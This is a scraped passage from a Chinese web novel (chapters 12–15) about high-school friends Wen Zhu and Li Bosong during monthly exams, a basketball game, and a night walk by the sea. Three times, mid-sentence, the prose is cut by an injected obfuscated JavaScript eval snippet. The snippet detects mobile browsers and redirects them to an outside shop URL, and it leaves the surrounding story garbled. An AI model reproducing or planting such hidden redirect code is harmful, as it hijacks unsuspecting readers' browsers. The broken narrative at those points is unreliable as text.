把刚写完的数学作业整理好放进了书包里,而后拿出语文卷子,闻竹拔出笔盖的时候听到了李泊松轻轻叹气的声音,她刚想说话,一抬眼,嗓子里发出了短促但尖锐地“啊”声,伴随着笔掉在地上的声音。 语音里的四个人同时吓了一跳。 “闻竹?” “没事吧??” 他们除了被这突如其来的一声吓到之外,对闻竹发出这种声音也非常意外。对于除了李泊松之外的三个人来说,熟悉了闻竹之后才能看到她的情绪,大多数时候她都看起来很冷静。 就是因为熟悉至此,他们根本没法把闻竹和刚才那声尖叫联系在一起。 “……没事,”她大喘了一口气,起身把作业和水杯搬到了客厅,冷静了一会儿才拍着胸脯说:“墙上有只壁虎。” 路一杭和毕雨泽同时抬高音调“啊”了声,其中夹杂着曲思嘉的关心——“吓坏了吧。” 他们两个惊讶地眼睛要掉在屏幕上,这里就属毕雨泽最夸张。 “你不是不怕虫子吗??” 他记得去年夏天体育课有只毛毛虫爬到了她的袖子上,闻竹都面不改色的。 “我不怕那种虫子,但是我怕这种……小动物,”闻竹皱眉,“就是这种一直爬的。” 她优异的语文成绩没有在语言表达上发挥半点作用,原本试图找到一些概括性的词汇,但是无果,只好放弃了。 曲思嘉善解人意地补充道:“对,就是蚯蚓、螃蟹什么的。” “停——”闻竹投降:“别说了,我都起鸡皮疙瘩了。” 两个人在惊讶,一个人在安慰,倒是在惊吓中的闻竹最先恢复了以往酷酷的样子:“没事了,一个壁虎而已。开始写作业吧?” “啊,你没事就行。哎?泊松呢??” 直到毕雨泽问,大家才发现混乱之中少了个人的视频框。 “我在呢,”虽然屏幕暗了,但他还在线,几秒钟后,伴随着三下清楚的敲门声,闻竹听见他说:“开门,帮你抓壁虎。” 12. 月考其一 时间的流速或许是不一样的,这大概就是考试前的日子过得飞快的原因。 这个无厘头的想法出现在脑海的时候,闻竹再次卡点走到班级后门处,教室里闹哄哄的,完全没有一点往日肃静的影子。 “闻竹?” 有个陌生的女孩从后边叫住了她。 “嗨。”闻竹有点惊讶,但依然礼貌地笑了下,用眼神询问她有什么事情。女孩抬头看着她,两只手互相捏了捏,却没有开口说什么。 今天岩姐不在,迟到也没关系,闻竹不着急也不催促,就安静地等着。 根据闻竹的经验,这种表现有点像求人办事,但是她们并不认识,当然也有可能是告白,不过这种解释更加离谱。 “你和李泊松,你们是……在一起吗?” “啊?”些许惊愕的表情浮现在脸上,她反应了一会儿,确认自己没有会错意后才说:“你是说谈恋爱?”她扯了下左边肩膀处滑下去的书包带,得到了女孩的肯定后,脸上的表情从惊愕变成了震惊,最后回到坦然的样子:“我们就是朋友。” 女孩观察闻竹的表情。 闻竹看起来似乎没有觉得被冒犯,也没有一丝一毫的不高兴,靠着后门等着她的回话。 她松了口气。 “……那就好,实在不好意思,能不能麻烦你把这个给他?” 闻竹垂眸看了一眼,然后接过,她想了想,伸手向身后示意了一下:“他人在呢,你要不要自己给?” 女孩狂摇头。 于是闻竹笑了,收下了那份给李泊松的情书。 “你知道我的名字啊?”是因为她和李泊松走得近吗? 她刚才就很好奇,这会儿得了空了聊些题外话。 “什么?”对面的女孩显然没料到她会问这个问题,她有点不好意思地笑笑,解释道:“对呀,我们是一个初中的,你这么优秀,还漂亮,我一直都知道你。” “哦,这样。你也很漂亮。”闻竹很真诚地道。而后她又莫名地想,还很勇敢。 李泊松刚才站在窗边和几个男生说说笑笑,现在那儿就剩下他一个人,闻竹走近了些,听到他在背《逍遥游》。 “复习得怎么样?”她问。 突然有个人出现在身后,李泊松也没被吓到,他闲闲地垂眸,一副游刃有余的样子:“还不错。” 听到他的话,闻竹挑了下眉:“古文呢?” 李泊松看了她一眼,转身坐在了自己桌子上,叹气:“这个我说了不算,得看天意。” 闻竹哼笑。 下一秒,她伸手把那张信封递给李泊松。 “我以为现在没人写这种东西了。”她声音很低,语气也没什么变化,但李泊松能看出她眼神里的怨念。“谁成想过了两三年,又要帮别人给你递情书。” “那辛苦你了。”李泊松好脾气地顺着闻竹的话说。 “……” 他的目光在闻竹身上,没看接过来的东西,但是把它完整地放进了书包,而后借着这个话题翻旧账。 “但是话又说回来,你拒绝别人的时候哪次没把我搬出来,什么‘不能早恋否则我会告诉你爸而你爸会打断你的腿’……我可是记得清清楚楚。” 闻竹没忍住翻了个白眼。 她转身,捂住嘴打了个短促的哈欠,迎面撞上了站在一边的毕雨泽。 毕雨泽的八卦细胞比两个路一杭都多,他做作地干咳一声,问道:“泊松为什么不拆?是不是要回家拆?那个女生是谁啊?” 闻竹伸出食指摇了摇,没表情地道:“不知道,不了解,别打听。” 教学楼门口的高考倒计时上的数字从刚开学的97变成了现在的70,闻竹想了想,猛然意识到李泊松才转学过来一个月。 “所以为什么有人给他送情书啊?” 刚才她压低声音是不想让太多人知道这事,但又有些按捺不住心里的好奇,只得去问消息比她灵通的曲思嘉。 曲思嘉和她咬耳朵:“李泊松经常在学校打球啊,每次都一堆人围观,据说他打球超级帅。” 闻竹对这话没什么反应,只是疑惑道:“你也觉得他帅?” “是啊,我是个审美正常的人。”曲思嘉神秘又夸张地说:“而且我觉得,他长得还有点像我以前的偶像,可以说是淡颜系帅哥中的极品了。” 闻竹“哦”了声,看她:“请问一下,你说的这偶像是哪位?你追过太多明星了。” “……”眼看着这个话题聊不下去,曲思嘉只好悬崖勒马,纳闷道:“虽然咱们两个没关注过这些事,但你不应该没看过他打球啊?你们两个一起长大的。” 闻竹:“我看过啊,从小看到大。” 曲思嘉莫名从这句话里听出来了一丝怨念,好像她和篮球有什么过节。 她又问:“所以呢,你觉得帅吗?” “说实话吗,”闻竹表情诚恳:“看太多次了,一点感觉都没有。” “OMG,”曲思嘉伸手拍拍她的肩膀,语重心长道:“没事了玩去吧……好好考试。” - 今天岩姐请了事假,加上月考的缘故,班级里的气氛一整天都有些浮躁,上午考完语文大家还能安静地午睡,交了数学卷后整个高二年级都躁动起来了。 李泊松进班的时候,班级里试卷乱飞,大家为了对答案手恨不得伸出两米远。 他躲过了一张飞过来的纸团,朝对他拱手道歉的男生笑了笑,拎着书包坐在自己座位上。刚拧开瓶盖,一口水还没喝进去,看到闻竹突然站起身,不知道是怎么了。 天渐渐长了,五点半,班级里开着灯,亮白的光有些晃眼。外面天色将暗未暗,太阳渐渐下沉,地平线上火一般燃烧着。 李泊松转头看了眼放在墙角的篮球,有点手痒。然而他腿刚伸出去,闻竹仿佛背后长了眼睛,忙叫住他:“等会儿……你别走。” “行,我不走。”脚步听话地顿住,李泊松收回腿,端正坐好,他拖着调子示意闻竹:“请讲吧。” “数学卷子,”她不客气地伸手,“借我看看。” 李泊松笑了声,对闻竹的意图毫不意外,他低头在包里翻找两下,把卷子抽出来,凑到他们几个围成的小圈子旁边。 “你们这是……”他话说到一半,低头看了眼桌面上三张卷子的答案,选择题的最后一道,ABC写什么的都有。 为了避免形势恶化,李泊松忙把自己的卷子塞回口袋里,不想拿出来了。 “……” 三个人都盯着他。 “我也不是很确定。”他模棱两可地说道,闻竹手里的笔还没放下,眼神很倔强。李泊松没办法,低头看她划拉得乱七八糟的演算纸。 “我这有写得清晰一点的。”闻竹说着,手从那边抽了张纸过来。 “没事,不用。”闻竹做题算是乱而有序,看清思路并不太困难。李泊松发现他们两个想法一样,因此找出她的错因就变得容易。 刚才看闻竹的眼神就猜到,她大概率也知道自己的答案错了,却没看明白思路错在哪。 “闻竹?”看到她抬了头,李泊松认真起来:“你这一步把数代错了,我们思路是一样的,但是你把求导之前的数代进去了。” 他语气平淡地陈述事实,闻竹对此接受良好。李泊松观察了一下她的表情,知道这又是粗心大意了。他没等闻竹算出正确答案,把拉链拉好准备溜,一转头碰到了刚进门朝这边走的毕雨泽。 李泊松招呼他一声,弯腰捞起了篮球抛过去,之后又问路一杭:“小路,去打球吗?” 路一杭摆摆手:“我回家了,”他今天挺高兴,笑出了八颗牙:“我奶奶生日。” “诶,”他们两个都顿了顿,李泊松说:“帮忙给奶奶带个好。” “加我一个!”毕雨泽转着球:“祝奶奶健康长寿!” …… - 闻竹和曲思嘉从教学楼里晃悠出来的时候,夜幕缓缓降临,只有远处的天空还有未散尽的晚霞。正值放学时间,大家成群结伴地朝校门走出去,她们两个方向不同,落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079129|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得清净。 校园广播开始了放学时的日常播报,闻竹伸出手,觉得天气突然就暖和了起来。停掉供暖后,四月就来了。 两个女孩边走边随意地聊天,走在林荫路上的时候,路灯在她们头顶渐次亮起,照得室外篮球场亮如白昼。还没走近,篮球撞击地面的砰砰声就清晰可闻。 别人考试考得心神俱疲,李泊松和毕雨泽还在场上一对一,好像精力无限的样子。闻竹和曲思嘉隔着铁丝网看了一会儿,顺着半开的小门走了进去。 球突然飞出场外,直冲她们而来。闻竹把曲思嘉往她身后拉了一下,伸手拍开了球,此刻再一次觉得自己和球场有些八字不合。 毕雨泽比了个抱歉的手势,李泊松一口气喘匀,偏头问道:“还好吧?” 闻竹直言不好。 他有些无奈地笑了下,又问:“你们不回家?” “来看看你们两个打球,”曲思嘉在给家人发微信,闻竹随意地拍了两下球,抬手准备把它扔回去,“你们继续吧。” 她站的地方离三分线不远,拍球的动作触到了李泊松的某根神经。他叫闻竹的名字,拨了下散落在额前的刘海,而后又朝着篮筐抬了抬下巴。周围篮球击打地面的声音此起彼伏,闻竹站在灯下,她的眼睛像夏日午后波光粼粼的海。 闻竹看懂了他的意思,也没扭捏,球在她手里转了一圈,而后她动作很漂亮地抬手,手中的球破开空气划出了一道漂亮的抛物线。 它卡住篮筐晃荡了两下,从筐里落到地面,又轻轻弹起。 李泊松弯唇看着,在篮球落地的瞬间吹了声口哨。 “我去……”毕雨泽没想到她还有这么一手,这会儿的表情可以说是目瞪口呆,他称呼都变了:“闻姐,再来一下?” 闻竹在洒落的灯光下歪头笑了下,这个笑里有种轻松且游刃有余的魅力。毕雨泽以为她要答应的时候,她却摆摆手转身走了。 “……” 其实在闻竹抬手的时候不知道自己能不能投进去,这个球靠得都是运气和遥远的肌肉记忆,而靠运气办成的事情——根据她有限的经验——绝对没有来第二次的道理。 “她会打篮球?”毕雨泽看着李泊松。 “你会打篮球?!”曲思嘉抓着闻竹的手。 “不会。”闻竹诚实地摇头。 她确实不会打,也很少主动去碰球,能投进那个球全是拜李泊松所赐。 初一上半学期最后那段时间,她为了把成绩提上去想了很多办法。虽然那时候学的知识还很浅,自己看书也能懂个七七八八,但有个学得好的人教效果一定会更好。 那时候的闻竹毫不客气地把注意打到了李泊松身上。 李泊松虽然也爱学习,但那时候的他显然更爱玩一些,但因为和闻竹关系好,他没考虑就一口答应下来。不过闻竹也是从那个时候开始懂得,天下没有免费的午餐,也没有免费的一对一家教。 讲到这的时候,闻竹艺术性地停顿了一下,曲思嘉抿唇,好像很期待后续的剧情。 “所以学费是什么?” 闻竹那点怨念又咕嘟咕嘟地冒出了泡:“某人找不到人陪他打球的时候,就会来找我。” “他甚至捏着我的肩膀感慨我是百年难得一遇的骨骼。” “什么骨骼?” “适合打篮球的骨骼。”闻竹说着,觉得无语又好笑。 为了让闻竹陪他打球,李泊松可以说是“无所不用其极”。初中生闻竹看着电视上的经典武侠电视剧,没忍住翻了个白眼。 曲思嘉快笑疯了。 毕雨泽也很惊讶,他朝李泊松的后背拍了一巴掌:“闻竹怼别人很经常,但是能让她说不出话,你也挺牛的啊。” 听到这儿,李泊松低头道歉:“对不起对不起,不过……”他忍俊不禁,又看向闻竹,话音里都带着笑意:“这点仇你记到现在?” 闻竹根本不领情:“我能记一辈子。” 可惜路一杭不在,不然他大概会评价一句“恨比爱长久”什么的。 13. 滨海北路 四个人坐在体育馆的地板上,旁边横七竖八地扔着四个书包还有一颗篮球。 今明两天是月考日,食堂的晚餐只开放半小时,基本上是提供给住宿生的,他们在球场消磨了会儿时间,差点错过了晚饭。 因为不想影响食堂的叔叔阿姨打扫卫生,他们四个的晚饭地点没有选择食堂,如果现在是夏天,大家可以在室外坐着吃,但早春的温度依然很低,到了夜晚更是骤降,体育馆里暖和,卫生间就在门口方便洗手,堪称随便吃口饭的最佳场所。 三个人吃馅饼,李泊松吃芝麻烧饼。闻竹问:“你为什么和我们不一样?” 他看了闻竹一眼,眼神好像在说你怎么又忘了。 “我不爱吃鸡肉,也不爱吃牛肉,也不爱吃鱿鱼。” “……” 毕雨泽咬了口烧饼里的鱿鱼馅,纳闷道:“这么挑食,你是怎么长这么高的?” 李泊松想了想,挺认真地答:“天生的吧,我爸妈都不矮。” “不矮是多高?我爸180,我妈168,我183,你比我还高一点呢。” 李泊松垂着眼睛:“我爸也180,但我妈高,我印象里有175。” “哇。”毕雨泽发出个挺惊讶的音节,还想再问。闻竹一直在旁边听着,她挨着李泊松坐,印象里他在父母离婚后就不太愿意提起这些话题了,但也不表现出来。闻竹插了个话,轻巧地岔开了话题。 他们几个现在大概是没什么形象可言的,只不过女孩男孩都正是在最好的年少时,即便这顿晚饭很仓促,看起来也颇为狼狈,却依然好像青春电影镜头里的一帧,美好得无法复刻。 两个女生的手机同时响了一声,她们对视一眼,曲思嘉拿出手机查看消息,而后戳了下闻竹的胳膊。闻竹把脑袋凑过去,听到她说:“小路发了他奶奶戴着生日帽的视频。” “喔。” 视频里银白头发的奶奶戴着金色生日帽,旁边是头发同样白了的老爷爷,路一杭拿着手机,把镜头对准他们两个,蜡烛轻轻摇曳。 不知道什么时候,旁边的俩男生也把脑袋凑过来了。曲思嘉看得笑起来,评价道:“爷爷唱歌比小路好听啊。”她扇子一样的睫毛眨了眨,然后垂下。 毕雨泽接话道:“谁说不是呢,路一杭这家伙,怎么唱个生日歌都跑调!” 闻竹说:“要给奶奶发祝福的吧。” 大家自然是欣然同意。 毕雨泽挠挠头:“那直接给小路发视频好了。” 时间还不到八点,发视频也不算打扰。接通视频后,大家纷纷嚷嚷着让路一杭躲开,先给两位老人问了好,接着一个挨着一个给奶奶说生日祝福。 镜头里的老人头发花白却精神矍铄,丝毫不见垂暮之年的疲态,对着镜头连连点头,笑意没有落下嘴角。 李泊松以前不知道路一杭家里的情况,今天知道他奶奶过生日后,曲思嘉问他父母回来吗。路一杭当时表情都没变,他说:“谁知道呢,没说回就是不回吧,往卡里打了一大笔钱,也不知道有什么用。” 路一杭的手机经过了几分钟又回到了自己手里,他对着镜头,先是叹了口气,而后很郑重地说了声“谢谢”。 “我奶奶很开心,真的,她喜欢热闹。” “客气什么,”闻竹说,“都是朋友。” “你奶奶也是我奶奶嘛。”毕雨泽笑出了八颗牙。 以上的话,他在视频那头照单全收,难得没有反驳。 曲思嘉笑他,语气夸张:“你不会要哭了吧,别这样啊,我们只是朋友你过界了……” 路一杭冷笑:“你才要哭呢。” 李泊松虽然表现得好像处理任何事情都游刃有余,但实则非常不擅长应对这种朋友间的温情时刻,轮到他的时候,他想了想:“早点睡吧,明天考试呢。” …… “这次一定超过你。”对面突然下战书。 说这种话是李泊松的舒适区。他“哦”了声,语气平静却狂得很:“这话你可以留到下次考试再说。” ……太幼稚了。 闻竹不理解这种时刻怎么变成了互相说垃圾话,无声地扯了扯嘴角。 篮球敲击地面的声音由远及近,有个男生叫了闻竹的名字。 闻竹原本在曲思嘉的极力推荐下看她新任偶像的舞台直拍,听到了自己的名字,条件反射般地抬了头。 “嗨。”她的语气算不上疏离,但也没有很熟悉,不过面对面一个站一个坐,寒暄是必要的。 男生问:“你们在……坐着?” “啊,”闻竹说,“校篮要训练?” 对方点头。 非常无聊的对话,曲思嘉的眼睛勉强离开了偶像,抬头看到了一个高个子男生。 哦,她知道这人——一中现在的校篮队长。 曲思嘉反应过来,篮球队都开始训练了,那毕雨泽是不是要迟到了。他和李泊松两个人躺在场馆地面上,眼睛都闭着,不知道是不是准备睡觉了。 在曲思嘉喊毕雨泽起来训练时,闻竹也伸手拍了李泊松胳膊一下。 李泊松清醒着,从地上起来的时候还顺手理了理乱了的头发。从他们几个挂断电话到现在还没有十分钟,毕雨泽却已经睡着了,这让大家都觉得很服气。 他醒了之后喊了声“哎呀妈呀”,从地上赶忙爬起来,视线聚焦之后看到了不远处的程栩,程栩也看到了他。 “训练迟到了!毕哥。” 毕雨泽留下句过几天约,又匆忙和闻竹他们打了招呼,拽着包飞速地跑了起来。 李泊松这才把目光投向他。 闻竹看他们两个互相盯着,李泊松这交际花也没自我介绍,只得从地上翻身起来,简短地帮他们介绍了一下对方。 之后闻竹朝曲思嘉伸手,把她从地上拉起来。 “我们走了啊。”闻竹说。 程栩点头,好似踌躇了一会儿,问她:“过几天我们和明德高中有比赛,你去看吗?” 闻竹笑了下:“不一定,有时间就去。” 李泊松把包甩到肩上,心说自己又见识了一遍闻竹式敷衍。 她甚至不问问时间地点。 她们两个先走两步,程栩叫住了李泊松。 “听说你球打得特别好,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079130|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天比一场?” “好啊,”李泊松露了左边侧颜给他,也没谦虚。他比闻竹热情多了,笑了笑,再抬头的时候却带了点微小到可以忽略的攻击性:“随时欢迎。” - 从学校门口打车到曲思嘉家小区大概需要十分钟,这个点晚高峰还没过去,堵了会儿车,她到家的时候城市彻底被夜幕笼住了。 他们两个把人送到小区门口,然后两个人都没有动作。 对于李泊松来说,最痛苦的一科语文早早地考完了,考试之前就应该是完全放松的状态,闻竹是因为数学卷子太难,她做题做得太痛苦,今天难得有了点不愿意再看书的脾气。 距离她上次拔牙已经过去了半个多月,右边这颗立事牙也该拔了,想到过几天还要躺在那张治疗床上,她就很难高兴起来。 李泊松单肩背着包,他没有像闻竹一样细致地围着围巾,在远处的海风吹过时顽强地往上拉了拉黑色冲锋衣的拉链。 这个小区的地段很好,往南再走几百米就是沙滩和大海,这条长长的公路蜿蜒而下,前半段是海,后半段是山。 闻竹是土生土长的临城人,对这条路没太多情结,但它得到了众多游客的青睐,是临城出名的日出打卡点。 李泊松问她:“你冷不冷?” 闻竹摇头。 “好,”他询问道:“去滨海北路走走吧?” 笼罩在夜幕里的城市车水马龙,笼罩在夜幕里的海却阒寂无声。 冬天的海和夏天的海不同又相同,李泊松想起自己离开临城时是夏天,海浪翻滚着扑向岸边,海鸥偶尔落下,大多数时候都在海天一色中盘旋。 “冬天的海和夏天不一样。”他说。 “是啊,”闻竹偏头看了旁边人一样,只觉得他一身黑要与夜色融为一体了。“从小就在海边长大,怎么忽然说这么一句话?” 李泊松没说话,只是伸手很欠地把她的帽檐往下压了压,毫不意外地得到了闻竹一句骂:“你又手欠!” “你这次还会比我考得好么?” 这句话里没有任何挑衅或者别的意思,只是单纯地询问。李泊松摇头,“难说。” “那也说说。” “嗯?”李泊松勾唇,开了个玩笑:“太没边界感了。” 闻竹没理他。 “我在宁城念的是普通高中,”说完他可能觉得这话有点歧义,解释道:“我的意思是,不是什么市重点,以我当时的中考成绩,在那所学校名次还不错。” 他语气轻松,讲自己的时却像在讲故事。 原本只是问了一个简单的问题,没成想得到这样的回复,她揣在兜里的手指无意识地蜷了下,竖起耳朵认真听。 “你想知道吗?” “什么?” 他笑了笑,又正色起来:“我说,你想知道关于我的事吗?” 闻竹还没反应过来他到底是什么意思就点了头,看到李泊松的笑意重新回到脸上,她明白自己习惯性的回答就是最标准的答案。 虽然他们从来没有绝交或者吵架过,但这是一个解开心结的信号,他们两个都知道。 14. 夜海之中 在李泊松转学的那三年里,闻竹对他的生活几乎是一无所知。那段时间身边的很多人都换了智能手机,闻竹还没有,她初中还没读完,手机于她而言不是刚需,没有必要早早地换上,因此两个人还是用Q.Q联系,偶尔互发短信。 进入初三,学习任务比之前重了些,多了个晚自习,放学之间也晚了一个小时。闻竹和李泊松之间不会每天都给对方发消息了,联系频率低了很多。 但也一直在联系着,以一种双方都很舒服的频率互相分享自己的生活。 李泊松的生日在六月八号,非常炎热的盛夏时节。偶尔有骤雨,总是有蝉鸣。 在他生日的前两天,闻竹寄了一个快递,快递单上填了他在宁城的住址,而后在下午的那节体育课,葱葱郁郁的灌木帮她挡着阳光,她在灌木丛背面给李泊松发生日祝福的短信。 他过了一天终于回了消息,闻竹看了眼时间,发觉已经过了二十五个小时。 按理来说那个快递不会迟到太久,但几乎是一个星期后,李泊松才又给她发短信。说的是他会在暑假回来一趟,并没有想闻竹以为的那样提到生日礼物的事情。 中考结束后没几天,闻竹的Q.Q突然没法登录了,她试了很多种方法,用手机号验证、找Q.Q好友帮忙,但是都无济于事。她给李泊松发了条短信,说自己的Q.Q无法登陆了,那边没回复。 这次是很久很久都没回复。 后来闻竹想,如果说有一个时间点是他们疏远的开始,大概就是这个点。好像命运捉弄一般。 中考后的暑假比以往任何一个假期都要漫长,李泊松没有如约回宁城,闻竹也没有对此发出任何疑问。 那个夏天盛行毕业季即是分手季相关的青春片,虽然闻竹觉得那些电影剧情勉强又狗血,但是它们讲清楚了一个道理——任何关系都可能会突然变得脆弱然后碎掉,不该有人觉得意外。 然后闻竹又想,如果这段漫长的友情里一定有一个人是逃兵的话,她觉得是李泊松。 录取结果出来之前,一个陌生的宁城号码发来消息,说他是李泊松,问闻竹有没有时间通电话,闻竹回拨过去,却发觉两个人之间竟然也会冷场。 沉默的时候几乎能听到挂钟走秒的声音,这声音像刀子一样割在两个人的皮肤上。 闻竹生日在夏末。她小时候不喜欢过生日,因为生日代表着暑假的结束,到了现在也不太喜欢,因为它代表已经流逝的夏日。 在那年夏末,李泊松打电话祝她生日快乐,给她寄了一份礼物过来。闻竹收到后发短信说谢谢,又祝他高中顺利。 其实闻竹一直觉得自己性格非常独立,情感上也没有对谁产生过什么需求,不会依赖谁,不知道为什么在友情中会有患得患失的感觉。陈女士当时想了一会儿,给出的答案是,可能因为李泊松是她重要到无法被替代的朋友。 “我锁骨骨折是在中考之后,当时手机被摔坏了,电话卡也没找到。那张卡是临城的,得回临城补,但当时我住在我姑姑家,不太好意思麻烦他们,所以就重新办了张卡。那段时间我用Q.Q给你发消息,但是……” 闻竹说“哦”,“我没回复是吧?那时候我□□登陆不上了,试了很多法子都不行。” 她想,那段时间李泊松因为锁骨骨折住院,还弄丢了电话卡,所以没有回复她的短信。至于住在姑姑家,那是什么时候的事? 这么想着,她也就这么问了。 李泊松既然决定了要坦诚,那他就毫无保留。他说:“那年六月初,之后我就没再回过之前那个小区。”闻竹怎么会在意时间呢? “你……” 闻竹说:“我给你寄了生日礼物。” 听到这话,李泊松明白了。他盯着人看了好一会儿,最后弯了下唇问:“寄了什么?” 闻竹记得挺清楚:“一副手套,还有景区卖的遍地都是的那种贝壳相框。”她特意在“遍地都是”这四个字上加重了读音,好像这样就让这段友情不那么遗憾。 李泊松顿了顿,轻声问:“送我贝壳相框,是因为宁城没有海吗?” 闻竹没表情地说:“你这么了解我,让我觉得很不高兴。” 他就笑了:“好,对不起。” 滨海北路是一条很蜿蜒很长的环海路,上坡骑不上来,下坡又太危险,因此这条路上几乎没有自行车和电动车。这里是临城比较出名的一个旅游景点,平时经过的私家车也不算多。 他们两个慢慢走,慢慢环海,李泊松走在靠左侧,放松地看夜海。 闻竹问他:“你怎么搬到姑姑家去了?” “……中考的前几天我爸去世了,心梗。” 李泊松语气平静,吹过的风完全遮住了他平静下的那点藏不住的情绪波动。他第一次和其他人说起这件事,而后骤然意识到,让他痛苦那么久的事情说起来一句话就能概括。 骤然听到这话,闻竹觉得好像有几只有毒的蜜蜂飞进了她的耳朵,她最初觉得脑子里有嗡嗡的声音,然后觉得有种眩晕感。她还没经历过这种时刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079131|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因此不知道什么样的反应才足够尊重对方。 李泊松明显不想提,她不问那句话就好了,怎么那么好奇! “没事的,”分享了把他们两个和世界隔绝了,李泊松在夜色中看向闻竹,觉得她的眼瞳像碎掉的玻璃球。 他笑笑:“没事的,过去很久了,我现在觉得还好。” “我都不知道……”她语气很轻,有些轻微的颤抖。手从李泊松的小臂滑到他的手腕,然后撤开。 闻竹很少用动作表达自己对某人的亲近,但她今天这样做了。她觉得自己鼻子有点酸,不知道是不是错觉。 “是我没说。”李泊松的语气很轻,听起来很包容。 “你……” 闻竹觉得他身上的一切她不明白的事都清晰起来了。他没有收到生日礼物的原因,成绩那么好却中考失利的原因,还有她耿耿于怀两年的突然失联的原因。 在他们没什么联系的时候,李泊松过得一定没有她好。 她七八岁的时候曾经有一个愿望,就是比李泊松过得好,在很多人有意无意地把他们两个放在一起比较时,这样会让她觉得自己超过了他,后来他们都长大了,这件事就理所当然地被遗忘了。闻竹忽然想起了这个该死的事情,觉得自己半点都不开心。 李泊松岔开话题,说起了别的。 “我中考考得一般,之后那一个学期都很混蛋,前几本书学得不好,到了考理综的时候我肯定考不出现在这个成绩。” 闻竹没理他的鬼话,问他:“你锁骨的伤怎么样?” “半年前取了钢板,前几天去医院是最后一次复查,没什么大事,以后也不需要再去了。” “打篮球什么的都没关系?” 李泊松一点儿闲不住,每天都要折腾。闻竹觉得他大概不只是体力好,而是天生的精力充沛,所以总是闲不住。他这么闲不住的人,车祸住院的那段时间一定特别无聊。 “没事,这都一年半了,而且我恢复得挺快的。” 李泊松答着话,神情终于放松起来。 闻竹看着挂在天边那轮圆月,思绪飘得很远。 整条滨海北路大概要走一小时,这附近有最后一个公交车站,下个站点距离这有十多分钟的车程。正好有一辆公交过来,李泊松踌躇了一下,转身想去看车牌,闻竹拽住他的小臂,两人刷卡上了车。 他们坐在了车子靠左的位置,外面夜海一色,天亮的时候能远远看到海的全貌。 他心绪浮动,而大海包容一切。 15. 月考其二 一中的判卷速度非常快,同学们会经常在走廊里偶遇各科老师夹着没拆封的试卷的场景。考完试两天后,小道消息从高二三班的班级传来: “成绩好像出来了!” 闻竹正在睡觉,她敏锐地捕捉到了“好像”这个词,兴致缺缺地换了个方向重新趴下。 小道消息听多了,人会脱敏。 在躁动之中,有只手在后边伸过来拍了下她的肩膀。这只手有意控制着力道,但依然被闻竹很不爽地拍开了。 “闻竹?别睡了,”李泊松声音不大,却很执着:“英语老师找你。” “……什么啊?” 她从桌上起身,伸手揉了把脸,这才闭着眼睛摸出自己的水杯,喝了一大口水。 李泊松靠在桌边看着她,有点想笑。 在喝水的功夫,闻竹心思转了又转。 成绩刚出来,英语老师叫她做什么,她的英语没有什么失误的可能性吧?难道忘记涂卡了? 不可能,她怎么会犯这种低级错误。 闻竹把奇奇怪怪的念头甩出脑海,站起身之后眼睛看着李泊松:“你怎么知道?” 李泊松还没来得及说话就听到她又问:“你不会是去办公室看成绩了吧?” 闻竹睁大眼睛,语气很是惊讶。 “没有,”他哭笑不得地给自己洗清罪名,“我被陈老师叫去背古文加训话,刚回来。” 说着,他从校服兜里掏出语文卷子,抖了抖,又把它摊开在桌面上。 “嗯?我看看。”闻竹凑过去,“这进步挺快的啊,这么多意象都背下来了……” 她发现自己好像在无意识地替李泊松打抱不平,把视线从卷子上收回来,准备去办公室找英语老师。 曲思嘉突然在她身后“嗷”了一声。 “竹子,等等我!我想去看成绩。” “那个,我也想。”毕雨泽收拾了一下桌子,跟在她们身后起身。 路一杭犹豫了一瞬,半推半就地也出去了。 李泊松看到闻竹回头,他摊手:“我不去,我要背《登泰山记》。” - 说是一起,但除了闻竹之外的三个明显跑得更快。高二年级组所有的老师办公室都挨着,闻竹在往英语组走的路上,看到了三个脑袋挤在化学组办公室门口,鬼鬼祟祟地不进门。 “你们搞什么?” “嘘——”毕雨泽夸张地长大嘴巴,声音却非常轻:“别说话。” 曲思嘉转头,小声地和她解释:“你看岩姐的背影,你看岩姐噼里啪啦敲键盘的手,这肯定是上分呢!” “喔。” 闻竹冷淡地应了一句,收回视线准备往英语组走。 “你们又打赌了?” 一个声音从后面传来。 李泊松比闻竹客气多了,他说话声音不大,但依然把大家吓一跳。 “你不登泰山了?”听到他的声音,闻竹停住脚步,又答他刚才的问话:“打什么赌,我们金盆洗手了。” 他被逗笑了,指了指前边的三个人。“那他们是在做什么?” 他站在闻竹身边,微微弯了腰,意有所指道:“你金盆洗手了,有些人可没有。” 闻竹偏头看向他:“啊?” - 